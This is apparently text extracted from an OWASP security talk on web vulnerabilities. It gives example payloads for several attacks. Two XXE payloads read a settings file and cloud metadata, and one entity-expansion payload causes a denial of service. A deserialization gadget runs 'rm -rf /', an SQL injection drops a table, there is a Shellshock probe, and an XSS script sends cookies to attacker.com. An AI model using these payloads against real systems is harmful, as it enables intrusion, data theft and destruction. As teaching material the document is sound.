Javier Eduardo Rojas Romero
January, 2021
Open Web Application Security Project (OWASP)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///srv/webapp/conf/settings.py" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/" >]>
<foo>&xxe;</foo>
{
"class": "com.endava.models.Transaction",
"attributes": {
"amount": "50.3",
"originAccount": "29",
"destinationAccount": "10",
}
}
}
{
"class": "com.endava.utils.CacheManager",
"attributes": {
"initHook": {
"class": "com.endava.utils.CommandTask",
"attributes": {
"command": "rm -rf /"
}
}
}
}
public class CacheManager implements Serializable {
private final Runnable initHook;
public void defaultReadObject (ObjectInputStream ois) {
ois.defaultReadObject();
initHook.run();
}
}
public class CommandTask implements Runnable, Serializable {
private final String command;
public void run() {
Runtime.getRuntime.exec(command);
}
}
Query HQLQuery = session.createQuery(
"FROM accounts WHERE custID="
+ request.getParameter("id"));
id=48
SELECT *
FROM accounts
WHERE custID=48
id=999%20OR%20custID%3D1
SELECT *
FROM accounts
WHERE custID=999 OR custID=1
id=48%3B%20DROP%20TABLE%20accounts
SELECT *
FROM accounts
WHERE custID=48; DROP TABLE accounts
eval
(Ruby, Python, JavaScript, …)ShellShock, 2014:
x='() { :;}; echo vulnerable'
https://website.com?x=%27%28%29%20%7B%20%3A%3B%7D%3B%20echo%20vulnerable%27
Impact: Linux, OS X, *BSD
(String) userReviews += "<p class='userReview'>"
+ product.userReviews[i]
+ "</p>";
This sucks!</p>
<script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>
<p>
<p class='userReview'>This sucks!</p>
<script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>
<p></p>
Content-Security-Policy
HTTPOnly
cookies
return <h1>Hello, {user_supplied}</h1>;
<div dangerouslySetInnerHTML={user_supplied} />
The OWASP Top 10 pages give you: